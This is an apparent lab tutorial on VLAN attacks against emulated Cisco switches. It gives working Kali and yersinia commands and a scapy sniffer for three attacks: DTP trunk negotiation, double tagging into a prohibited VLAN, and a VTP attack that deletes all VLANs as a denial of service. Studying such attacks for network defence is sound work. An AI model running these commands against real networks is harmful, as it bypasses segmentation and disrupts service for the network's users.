VLAN Attacks

Virtual Local Area Network’s (VLAN’s) can be used to segment physical networks into logical networks. VLAN’s allow grouping devices in broadcast domains. They are often used to segregate different security domains.

VLAN ports are typically have one of two assignments, they are either access or trunk ports. With access ports, a port is assigned to a VLAN, but the device connected to that port will not notice any difference.

Trunk ports are typically used to transmit multiple VLAN’s between switches. With trunk ports, an 802.1Q header is added to the packets.


Configuring VLAN’s in Linux

For this example, we will be configuring the following network topology. IOU1 is a layer 2 switch. KaliCloud is a bridged interface that leads to our attacker system.

Ports will be configured using the following addressing scheme.

HostVLANIP AddressSwitch Port
PC1100172.16.1.1Ethernet0/1
PC2100172.16.1.2Ethernet0/2
PC3200172.16.2.1Ethernet1/0
PC4200172.16.2.2Ethernet1/1

Configuring a dot1q trunk port is fairly simple on a Cisco switch. In this instance we have two access ports for VLAN 100 and VLAN 200 respectively. A trunk port is also configured.

interface Ethernet0/0
 switchport trunk encapsulation dot1q
 switchport mode trunk
!
interface Ethernet0/1
 switchport access vlan 100
 switchport mode access
!
interface Ethernet0/2
 switchport access vlan 100
 switchport mode access
!
interface Ethernet1/0
 switchport access vlan 200
 switchport mode access
!
interface Ethernet1/1
 switchport access vlan 200
 switchport mode access

So, PC1 and PC2 can communicate since they are both on VLAN 100. PC3 and PC4 can communicate since they are both on VLAN 200.

The show interfaces trunk command can be used to show the current trunking configuration. From this, we can see both VLAN 100 and 200 are allowed over Ethernet0/0 interface.

IOU1#show interfaces trunk 

Port        Mode             Encapsulation  Status        Native vlan
Et0/0       on               802.1q         trunking      1

Port        Vlans allowed on trunk
Et0/0       1-4094

Port        Vlans allowed and active in management domain
Et0/0       1,100,200

Port        Vlans in spanning tree forwarding state and not pruned
Et0/0       1,100,200

From the attacker system, we can see which VLAN’s we have visibility of using the following Python code.

from scapy.all import *

def print_vlan_id(packet):
    if packet.haslayer(Dot1Q):
        vlan = packet[Dot1Q].vlan
        print(f'VLAN ID: {vlan}')

def main():
    print("Starting packet capture. Press Ctrl+C to stop.")
    interface="eth1"
    sniff(iface=interface,prn=print_vlan_id, store=0)

if __name__ == "__main__":
    main()

Running this code we can see two VLAN’s are sending traffic.

sudo python3 get_vlan_ids.py
Starting packet capture. Press Ctrl+C to stop.
VLAN ID: 200
VLAN ID: 100

Now we know the VLAN tag numbers, we can add the relevant VLAN interfaces to our Kali system.

sudo ip link add link eth1 eth1.100 type vlan id 100  
sudo ip link add link eth1 eth1.200 type vlan id 200  
sudo ip addr add 172.16.1.3/24 dev eth1.100
sudo ip addr add 172.16.2.3/24 dev eth1.200
sudo ifconfig eth1.100 up
sudo ifconfig eth1.200 up

┌──(kali㉿kali)-[~]
└─$ ping 172.16.1.2
PING 172.16.1.2 (172.16.1.2) 56(84) bytes of data.
64 bytes from 172.16.1.2: icmp_seq=1 ttl=64 time=0.747 ms

┌──(kali㉿kali)-[~]
└─$ ping 172.16.2.2
PING 172.16.2.2 (172.16.2.2) 56(84) bytes of data.
64 bytes from 172.16.2.2: icmp_seq=1 ttl=64 time=0.768 ms

Exploiting Dynamic Trunking Protocol (DTP)

Under normal operation users should only be connected to access ports, not trunk ports. However, it may be possible to convert an access port to a trunk port using the Dynamic Trunking Protocol (DTP).

Doing a show run, we can see the following interface configuration.

interface Ethernet0/0
!
interface Ethernet0/1
 switchport access vlan 100
 switchport mode access
!
interface Ethernet0/2
 switchport access vlan 200
 switchport mode access
!

Although it’s not explicitly stated, Ethernet0/0 is configured to negotiate a trunk link using the Dynamic Trunking Protocol (DTP). The available options for a switchport can be seen using the switchport mode command.

IOU1(config-if)#switchport mode ?
  access        Set trunking mode to ACCESS unconditionally
  dot1q-tunnel  set trunking mode to TUNNEL unconditionally
  dynamic       Set trunking mode to dynamically negotiate access or trunk mode
  private-vlan  Set private-vlan mode
  trunk         Set trunking mode to TRUNK unconditionally

IOU1(config-if)#switchport mode dynamic ?
  auto       Set trunking mode dynamic negotiation parameter to AUTO
  desirable  Set trunking mode dynamic negotiation parameter to DESIRABLE
We can see Ethernet0/0 is currently on the native VLAN (1).
IOU1#show interfaces status 
Port      Name               Status       Vlan       Duplex  Speed Type 
Et0/0                        connected    1          a-full   auto RJ45
Et0/1                        connected    100        a-full   auto RJ45
Et0/2                        connected    200        a-full   auto RJ45

We can use yersinia on our attacker system to negotiate a trunk link with the switch using DTP.

sudo yersinia dtp -interface eth1 -attack 1
<*> Starting NONDOS attack enabling trunking...
<*> Press any key to stop the attack <*>

Looking at the Cisco switch, Ethernet0/0 will transition to a trunk.

IOU1#show interfaces status 
Port      Name               Status       Vlan       Duplex  Speed Type 
Et0/0                        connected    trunk      a-full   auto RJ45
Et0/1                        connected    100        a-full   auto RJ45
Et0/2                        connected    200        a-full   auto RJ45

With a trunk link in place, we can then configure the VLAN interfaces on our Linux system as in the previous example to access all the accessible VLAN’s.


Exploiting Double Tagging

The native VLAN is associated with untagged Ethernet frames on a trunk port. It’s the VLAN that a switch uses to handle traffic that isn’t explicitly tagged with a VLAN ID. By default, this is VLAN number 1.

Let’s expand on our network topology to add a second switch, and a new computer PC5. PC5 is allocated to VLAN 300.

On switch OUI1 we configure a trunk link, and prohibit VLAN 300.

interface Ethernet0/0
 switchport trunk allowed vlan 1-299,301-4094
 switchport trunk encapsulation dot1q
 switchport mode trunk

On switch OUI2, we also configure the trunk – but allow all VLAN’s.

interface Ethernet0/0
 switchport trunk encapsulation dot1q
 switchport mode trunk

From our attacker system, we could add a VLAN 300 tag to our traffic but this will be stripped by IOU1. To get around this, we can add our VLAN 300 tag in addition to the native VLAN tag (VLAN 1). When this packet with two tags reaches switch IOU1, the outer tag will be removed and the remaining packet with the VLAN 300 tag will be sent over the link.

We can create this unusual configuration using the following commands on our Kali host.

sudo ip link add link eth1 eth1.1 type vlan id 1
sudo ip link add link eth1.1 eth1.300 type vlan id 300
sudo ifconfig eth1.1 up
sudo ip addr add 172.16.3.3/24 dev eth1.300
sudo arp -s 172.16.3.1 FF:FF:FF:FF:FF:FF -i eth1.300

You should end up with interfaces configured like so:

5: eth1.1@eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 08:00:27:ba:ca:dc brd ff:ff:ff:ff:ff:ff
    inet6 fe80::a00:27ff:feba:cadc/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever
6: eth1.300@eth1.1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 08:00:27:ba:ca:dc brd ff:ff:ff:ff:ff:ff
    inet 172.16.3.3/24 scope global eth1.300
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:feba:cadc/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever

The packet the Kali device sends has two tags, VLAN 300 as the inner tag, and VLAN1 as the outer:

As the packet traverses the trunk link, the native VLAN (outer) tag is stripped, leaving our VLAN 300 tag.

Finally, exiting the IOU2 interface, the packet reaches PC5 without a VLAN tag.

It’s worth noting whilst this will allow a packet to be sent to a VLAN that would otherwise not be accessible, we won’t receive any return traffic.


Exploiting VLAN Trunk Protocol (VTP)

The VLAN Trunking Protocol (VTP) maintains a database of VLAN’s that is replicated between switches. VTP traffic is only transmitted over trunk links. If an adversary has access to a trunk link, they could send out malicious VTP packets to delete or add VLAN’s. In this instance we’re going to look at creating a denial of service condition by removing the VLAN database.

Looking at our switch configuration, we can see a number of VLAN’s are configured.

IOU1#show vlan

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
1    default                          active    Et1/2, Et1/3, Et2/0, Et2/1
                                                Et2/2, Et2/3, Et3/0, Et3/1
                                                Et3/2, Et3/3
100  MARKETING                        active    Et0/1, Et0/2
200  ACCOUNTING                       active    Et1/0, Et1/1
300  SECRET                           active    

Next, use Yersinia to launch an attack deleting all VLAN’s.

sudo yersinia vtp -interface enp0s8 -attack 1
<*> Starting DOS attack deleting all VTP vlans...

After some time, we can see the VLAN’s have been deleted from the switch.

IOU1#show vlan             

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
1    default                          active    Et1/2, Et1/3, Et2/0, Et2/1
                                                Et2/2, Et2/3, Et3/0, Et3/1
                                                Et3/2, Et3/3
1002 fddi-default                     act/unsup 
1003 token-ring-default               act/unsup 
1004 fddinet-default                  act/unsup 
1005 trnet-default                    act/unsup 


In Conclusion

It should be noted that Yersinia does also provide a graphical frontend to automate attacks, although this is currently not working in Kali Linux. If you require this, it is working in Parrot OS.